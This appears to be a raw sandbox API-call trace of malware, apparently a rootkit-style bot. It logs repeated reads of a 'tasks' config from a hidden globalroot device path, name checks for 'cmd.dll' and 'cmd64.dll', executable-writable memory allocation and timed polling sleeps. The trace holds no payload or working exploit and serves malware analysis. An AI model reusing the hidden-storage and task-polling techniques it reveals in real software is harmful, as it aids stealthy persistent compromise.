[0130.216] KeEnterCriticalRegion () [0130.216] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.216] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.216] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.216] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.216] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0130.216] IdePortDispatch () returned 0x103 [0130.216] KeWaitForMutexObject () returned 0x0 [0130.216] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.216] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.216] KeLeaveCriticalRegion () [0130.216] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.216] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.216] KeEnterCriticalRegion () [0130.216] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.216] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d41000 [0130.216] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.216] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.216] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.216] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0130.217] IdePortDispatch () returned 0x103 [0130.217] KeWaitForMutexObject () returned 0x0 [0130.217] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.217] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.217] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.217] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.217] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0130.217] IdePortDispatch () returned 0x103 [0130.217] KeWaitForMutexObject () returned 0x0 [0130.217] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.217] KeLeaveCriticalRegion () [0130.217] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.218] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.218] KeEnterCriticalRegion () [0130.218] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.218] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.218] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.218] KeLeaveCriticalRegion () [0130.218] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.218] KeEnterCriticalRegion () [0130.218] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.218] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.218] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800294c930, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.218] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.218] KeLeaveCriticalRegion () [0130.218] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.218] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.218] KeEnterCriticalRegion () [0130.218] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.218] ExFreePoolWithTag (P=0xfffffa800294c010, Tag=0x0) [0130.218] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.218] KeLeaveCriticalRegion () [0130.218] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.218] ReleaseMutex (hMutex=0xf0) returned 1 [0130.218] Sleep (dwMilliseconds=0x927c0) [0130.234] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0130.234] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.234] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0130.234] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.234] KeEnterCriticalRegion () [0130.234] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.234] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.234] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.234] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.234] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0130.234] IdePortDispatch () returned 0x103 [0130.234] KeWaitForMutexObject () returned 0x0 [0130.235] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.235] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.235] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.235] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.235] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.235] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294cc70 [0130.235] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.235] KeLeaveCriticalRegion () [0130.235] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.235] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.235] KeEnterCriticalRegion () [0130.235] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.235] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.235] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.235] KeLeaveCriticalRegion () [0130.235] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.235] KeEnterCriticalRegion () [0130.235] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.235] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.235] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.235] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.235] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0130.235] IdePortDispatch () returned 0x103 [0130.235] KeWaitForMutexObject () returned 0x0 [0130.235] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.235] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.235] KeLeaveCriticalRegion () [0130.235] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.236] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.236] KeEnterCriticalRegion () [0130.236] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.236] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d46000 [0130.236] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.236] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.236] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.236] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0130.236] IdePortDispatch () returned 0x103 [0130.236] KeWaitForMutexObject () returned 0x0 [0130.236] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.236] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.236] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.236] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.236] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0130.236] IdePortDispatch () returned 0x103 [0130.236] KeWaitForMutexObject () returned 0x0 [0130.236] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.236] KeLeaveCriticalRegion () [0130.236] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.237] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.237] KeEnterCriticalRegion () [0130.237] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.237] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.237] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.237] KeLeaveCriticalRegion () [0130.237] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.237] KeEnterCriticalRegion () [0130.237] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.237] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.237] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c080c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.237] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.237] KeLeaveCriticalRegion () [0130.237] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.237] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.237] KeEnterCriticalRegion () [0130.237] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.237] ExFreePoolWithTag (P=0xfffffa800294cc70, Tag=0x0) [0130.237] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.237] KeLeaveCriticalRegion () [0130.237] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.237] ReleaseMutex (hMutex=0xf0) returned 1 [0130.238] Sleep (dwMilliseconds=0x927c0) [0130.254] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0130.254] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.254] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0130.254] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.254] KeEnterCriticalRegion () [0130.254] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.254] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.254] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.254] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.254] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0130.254] IdePortDispatch () returned 0x103 [0130.254] KeWaitForMutexObject () returned 0x0 [0130.254] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.254] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.254] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.254] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.254] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.254] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294c0a0 [0130.254] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.254] KeLeaveCriticalRegion () [0130.254] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.254] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.254] KeEnterCriticalRegion () [0130.254] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.255] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.255] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.255] KeLeaveCriticalRegion () [0130.255] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.255] KeEnterCriticalRegion () [0130.255] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.255] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.255] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.255] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.255] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0130.255] IdePortDispatch () returned 0x103 [0130.255] KeWaitForMutexObject () returned 0x0 [0130.255] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.255] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.255] KeLeaveCriticalRegion () [0130.255] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.255] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.255] KeEnterCriticalRegion () [0130.255] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.255] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d4b000 [0130.255] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.255] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.255] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.255] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0130.255] IdePortDispatch () returned 0x103 [0130.255] KeWaitForMutexObject () returned 0x0 [0130.256] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.256] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.256] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.256] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.256] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0130.256] IdePortDispatch () returned 0x103 [0130.256] KeWaitForMutexObject () returned 0x0 [0130.256] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.256] KeLeaveCriticalRegion () [0130.256] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.256] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.256] KeEnterCriticalRegion () [0130.256] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.256] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.256] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.256] KeLeaveCriticalRegion () [0130.257] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.257] KeEnterCriticalRegion () [0130.257] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.257] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.257] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800294c9d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.257] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.257] KeLeaveCriticalRegion () [0130.257] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.257] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.257] KeEnterCriticalRegion () [0130.257] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.257] ExFreePoolWithTag (P=0xfffffa800294c0a0, Tag=0x0) [0130.257] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.257] KeLeaveCriticalRegion () [0130.257] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.257] ReleaseMutex (hMutex=0xf0) returned 1 [0130.257] Sleep (dwMilliseconds=0x927c0) [0130.273] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0130.273] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.273] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0130.273] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.273] KeEnterCriticalRegion () [0130.273] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.273] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.273] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.273] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.273] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0130.273] IdePortDispatch () returned 0x103 [0130.273] KeWaitForMutexObject () returned 0x0 [0130.273] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.273] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.273] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.273] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.274] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.274] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294c0f0 [0130.274] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.274] KeLeaveCriticalRegion () [0130.274] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.274] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.274] KeEnterCriticalRegion () [0130.274] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.274] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.274] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.274] KeLeaveCriticalRegion () [0130.274] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.274] KeEnterCriticalRegion () [0130.274] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.274] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.274] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.274] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.274] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0130.274] IdePortDispatch () returned 0x103 [0130.274] KeWaitForMutexObject () returned 0x0 [0130.274] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.274] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.274] KeLeaveCriticalRegion () [0130.274] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.274] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.274] KeEnterCriticalRegion () [0130.274] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.274] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d50000 [0130.274] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.274] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.274] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.274] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0130.275] IdePortDispatch () returned 0x103 [0130.275] KeWaitForMutexObject () returned 0x0 [0130.275] _strnicmp (_Str1="cfg.ini", 